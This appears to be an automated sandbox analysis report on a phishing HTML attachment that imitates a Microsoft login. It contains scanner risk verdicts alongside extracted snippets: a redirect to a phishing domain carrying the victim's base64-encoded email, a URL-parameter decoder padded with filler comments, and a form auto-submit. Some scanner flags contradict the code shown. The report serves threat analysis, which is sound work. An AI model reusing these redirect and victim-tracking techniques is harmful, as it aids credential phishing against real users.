Windows Analysis Report
ReIayMSG__polarisrx.com_#7107380109.htm

{
    "risk_score": 8,
    "reasoning": "The script demonstrates high-risk behavior by redirecting the user to a suspicious domain using an obfuscated URL. This is a common tactic used in phishing and malware attacks to lure users to malicious websites."
}

    window.location.href = "https://abidingloveadopt.appsforcourt.com/4WbEH/////////////////////?e=dHBhLW9wZXJhdGlvbnNAcG9sYXJpc3J4LmNvbQ==";

{
    "risk_score": 7,
    "reasoning": "The script demonstrates several high-risk behaviors, including the use of dynamic code execution (via `atob()`) and the potential for data exfiltration (by retrieving a parameter from the URL and decoding it). Additionally, the script contains obfuscated code, which raises suspicion. While the script's purpose is not entirely clear, the combination of these factors suggests a medium to high risk level that warrants further investigation."
}

        
        const accommodation = (name) => {
            name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
            var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
            var results = regex.exec(location.search); // Nulla swine rump pancetta tempor chuck ball tip, salami cow turducken. Incididunt aliqua tempor laboris. Adipisicing minim shank est jerky. Shankle cupim proident ribeye beef pancetta pork chop. Commodo biltong strip steak beef, porchetta in culpa tri-tip. Esse proident alcatra turducken, strip steak chislic et picanha ea sunt non ground round labore dolore beef ribs. Bresaola buffalo esse, voluptate consequat occaecat est. Quis consectetur jowl, nisi burgdoggen doner short loin. Jerky sausage nisi non pork consectetur aliqua kielbasa commodo elit. Laborum burgdoggen drumstick tongue prosciutto meatball culpa chislic incididunt picanha venison. Tempor ground round picanha ut quis cillum enim labore eu bacon ullamco frankfurter. Aute shoulder adipisicing ribeye beef ribs. Sed shankle sirloin doner salami in, kielbasa cow ut beef ribs magna id ut cupim hamburger. Shank est mollit fugiat pork chop strip steak aliqua. Ipsum andouille pork loin minim aute, tri-tip kevin culpa aliqua sausage.
            return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
        } // Pork kevin dolore meatloaf frankfurter. Andouille jerky sunt, aute laboris in nostrud kielbasa chicken reprehenderit. Ea shoulder turducken, kielbasa fatback pastrami officia ex id landjaeger tenderloin meatball pancetta capicola hamburger. Tongue nisi beef id. Laboris veniam nisi, mollit shankle excepteur cillum occaecat picanha adipisicing ham hock. Aute turducken est sint turkey burgdoggen irure occaecat. In boudin short loin biltong sirloin. Kevin picanha tongue ea non, pancetta tenderloin. Cow reprehenderit dolore eu elit ham hock incididunt lorem fatback landjaeger ball tip pastrami. Incididunt ham hock beef ribs tail brisket reprehenderit labore spare ribs culpa velit alcatra id. Hamburger sed short ribs pariatur, flank in veniam cupidatat spare ribs in cow est officia in. Meatloaf hamburger cupim tenderloin chuck ham hock sint. Turducken turkey fugiat, anim cow bresaola doner pork loin strip steak in esse ground round salami. In pork chop magna shoulder nisi chuck. Fatback mollit ground round, ut venison kielbasa tongue short loin buffalo consectetur ullamco corned beef pancetta sint aliqua.

        rh13z8jemt = accommodation('e') == '' ? rh13z8jemt : accommodation('e');
        rh13z8jemt = atob(rh13z8jemt);
    

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript snippet appears to be a simple form submission function, which is a common and legitimate behavior. While it does not demonstrate any high-risk indicators, the lack of context around the form's purpose and the target domain means it requires further review to determine if there are any potential security concerns."
}

            function NimbusDrift() {
                document.forms[0].submit();
            }
        

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://appsforcourt.com

{
"contains_trigger_text": true,
"trigger_text": "We couldn't find an account with that username. Try another account.",
"prominent_button_name": "next",
"text_input_field_labels": "tpa-operations@polarisrx.com",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

```json{  "legit_domain": "microsoft.com",  "classification": "wellknown",  "reasons": [    "The URL 'abidingloveadopt.appsforcourt.com' does not match the legitimate domain 'microsoft.com'.",    "The domain 'appsforcourt.com' is not associated with Microsoft.",    "The brand 'Microsoft' is well-known and typically uses its own domain for official communications.",    "The email domain 'polarisrx.com' does not match the brand 'Microsoft', which is suspicious.",    "The URL contains unrelated words and does not reflect any known Microsoft services or products."  ],  "riskscore": 9}
Google indexed: False